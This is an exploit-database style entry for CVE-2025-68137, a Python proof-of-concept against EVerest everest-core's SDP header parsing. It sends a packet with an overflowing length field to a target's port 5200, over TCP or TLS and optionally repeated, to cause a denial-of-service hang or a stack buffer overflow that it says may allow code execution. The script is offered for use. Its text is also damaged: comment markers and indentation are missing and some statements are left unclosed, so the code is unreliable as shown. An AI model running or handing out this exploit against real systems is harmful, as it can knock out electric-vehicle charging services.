Exploit Title: EVerest 2025.9.0 - DoS
Date: 2026-08-11
Exploit Author: [Ranjit Kumar Singh]
Vendor Homepage: https://github.com/EVerest/everest-core
Software Link:
https://github.com/EVerest/everest-core/archive/refs/tags/2025.9.0.tar.gz
Version: everest-core < 2025.10.0
Tested on: Ubuntu 22.04 / EVerest 2025.9.0
CVE: CVE-2025-68137
Attack Vector: Adjacent Network
Authentication: None
"""
CVE-2025-68137 - EVerest SDP Integer Overflow → Stack Buffer Overflow / DoS
Exploit Author: Ranjit Kumar Singh
Vendor: https://github.com/EVerest/everest-core
Software Link: https://github.com/EVerest/everest-core/archive/refs/tags/2025.9.0.tar.gz
Vulnerable Versions: EVerest everest-core < 2025.10.0
Tested on: Linux (Ubuntu 22.04) / EVerest 2025.9.0
CVE: CVE-2025-68137
Description:
An integer overflow in SdpPacket::parse_header() allows an attacker to
trigger either an infinite loop (TCP) or stack buffer overflow (TLS)
by sending a malformed SDP packet with a specially crafted length field.
The vulnerability exists because the length field (4 bytes) is added to
the header size (8) without proper overflow checking. When the length
value is near UINT_MAX, the addition overflows, causing the remaining
bytes to read to be interpreted as SIZE_MAX.
Usage:
Trigger DoS (infinite loop) on TCP server
python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200
Trigger stack buffer overflow on TLS server (may lead to RCE)
python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 --tls
Send multiple packets to increase impact
python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 --count 100
Custom SDP version bytes (for testing different implementations)
python3 CVE-2025-68137.py -t 192.168.1.100 -p 5200 --version 0x01 --inverse 0xFE
"""
import argparse
import socket
import ssl
import struct
import time
import sys
SDP Protocol Constants
SDP_PROTOCOL_VERSION = 0x01
SDP_INVERSE_PROTOCOL_VERSION = 0xFE
V2GTP_HEADER_SIZE = 8
def build_malicious_sdp_packet(version=0x01, inverse=0xFE):
"""
Build a malformed SDP packet that triggers the integer overflow.
The packet structure:
- Byte 0: Protocol version (must be 0x01)
- Byte 1: Inverse protocol version (must be 0xFE)
- Byte 2-3: Reserved/Unused (0x0000)
- Byte 4-7: Length field (triggers overflow when +8 is applied)
The overflow occurs when the length field is near UINT_MAX.
When the code does: length = be32toh(tmp) + V2GTP_HEADER_SIZE
If tmp is close to UINT_MAX, the addition overflows.
We use 0xFFFFFFFF - 7 to make length = 0 after overflow,
then length - bytes_read becomes negative → SIZE_MAX.
"""
Trigger integer overflow: tmp + 8 overflows when tmp >= UINT_MAX - 7
UINT_MAX = 0xFFFFFFFF
overflow_value = 0xFFFFFFF8 # UINT_MAX - 7
Build the packet
packet = bytearray()
packet.append(version) # Protocol version
packet.append(inverse) # Inverse protocol version
packet.extend(b'\x00\x00') # Reserved (2 bytes)
packet.extend(struct.pack('>I', overflow_value)) # Length (big-endian)
return bytes(packet)
def build_normal_sdp_packet(version=0x01, inverse=0xFE, payload_size=0):
"""
Build a normal SDP packet for comparison/testing.
"""
packet = bytearray()
packet.append(version)
packet.append(inverse)
packet.extend(b'\x00\x00')
packet.extend(struct.pack('>I', payload_size))
return bytes(packet)
def send_packet(target_ip, target_port, packet, use_tls=False, count=1):
"""
Send the malformed SDP packet to the target.
"""
success_count = 0
fail_count = 0
for i in range(count):
try:
Create socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
Wrap with TLS if requested
if use_tls:
context = ssl.create_default_context()
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
sock = context.wrap_socket(sock, server_hostname=target_ip)
Connect and send
sock.connect((target_ip, target_port))
sock.send(packet)
Try to read response (may hang if infinite loop triggered)
try:
response = sock.recv(1024)
print(f"[{i+1}/{count}] Response received ({len(response)} bytes)")
except socket.timeout:
print(f"[{i+1}/{count}] Timeout - possible DoS/loop triggered")
sock.close()
success_count += 1
except ConnectionRefusedError:
print(f"[{i+1}/{count}] Connection refused - service may be down")
fail_count += 1
except socket.timeout:
print(f"[{i+1}/{count}] Connection timeout")
fail_count += 1
except Exception as e:
print(f"[{i+1}/{count}] Error: {e}")
fail_count += 1
Small delay between packets
if i < count - 1:
time.sleep(0.1)
return success_count, fail_count
def main():
parser = argparse.ArgumentParser(
description="CVE-2025-68137 - EVerest SDP Integer Overflow Exploit"
)
parser.add_argument("-t", "--target", required=True,
help="Target IP address (e.g., 192.168.1.100)")
parser.add_argument("-p", "--port", type=int, default=5200,
help="Target port (default: 5200)")
parser.add_argument("--tls", action="store_true",
help="Use TLS connection (triggers stack buffer overflow)")
parser.add_argument("--count", type=int, default=1,
help="Number of packets to send (default: 1)")
parser.add_argument("--version", type=lambda x: int(x, 0), default=0x01,
help="Protocol version byte (default: 0x01)")
parser.add_argument("--inverse", type=lambda x: int(x, 0), default=0xFE,
help="Inverse protocol version byte (default: 0xFE)")
parser.add_argument("--payload-size", type=int, default=0,
help="Payload size for normal packets (for testing)")
parser.add_argument("--normal", action="store_true",
help="Send normal packet instead of malicious")
args = parser.parse_args()
print("=" * 60)
print("CVE-2025-68137 - EVerest SDP Integer Overflow Exploit")
print("=" * 60)
print(f"Target: {args.target}:{args.port}")
print(f"TLS: {'Enabled' if args.tls else 'Disabled'}")
print(f"Packets: {args.count}")
print(f"Mode: {'Normal' if args.normal else 'Malicious'}")
print("=" * 60)
Build packet
if args.normal:
packet = build_normal_sdp_packet(args.version, args.inverse, args.payload_size)
print(f"[*] Using normal packet (payload size: {args.payload_size})")
else:
packet = build_malicious_sdp_packet(args.version, args.inverse)
print("[*] Using malicious packet (triggering integer overflow)")
print(f"[*] Packet hex: {packet.hex()}")
print(f"[*] Packet size: {len(packet)} bytes")
print("-" * 60)
if args.tls:
print("[!] TLS mode: May trigger stack buffer overflow (potential RCE)")
else:
print("[!] TCP mode: Will trigger infinite loop (DoS)")
print("-" * 60)
Send packet
print(f"[*] Sending {args.count} packet(s)...")
success, fail = send_packet(
args.target, args.port, packet,
use_tls=args.tls, count=args.count
)
print("-" * 60)
print(f"[+] Packets sent successfully: {success}")
print(f"[-] Failed: {fail}")
if success > 0 and not args.normal:
print("\n[!] If the target is vulnerable:")
if args.tls:
print(" - Stack buffer overflow triggered (check for crashes)")
print(" - May lead to remote code execution")
else:
print(" - Infinite loop triggered (service will hang)")
print(" - Denial of Service achieved")
print("\n[+] References:")
print(" - https://github.com/EVerest/EVerest/security/advisories/GHSA-7qq4-q9r8-wc7w"
print(" - https://nvd.nist.gov/vuln/detail/CVE-2025-68137"
if __name__ == "__main__":
main()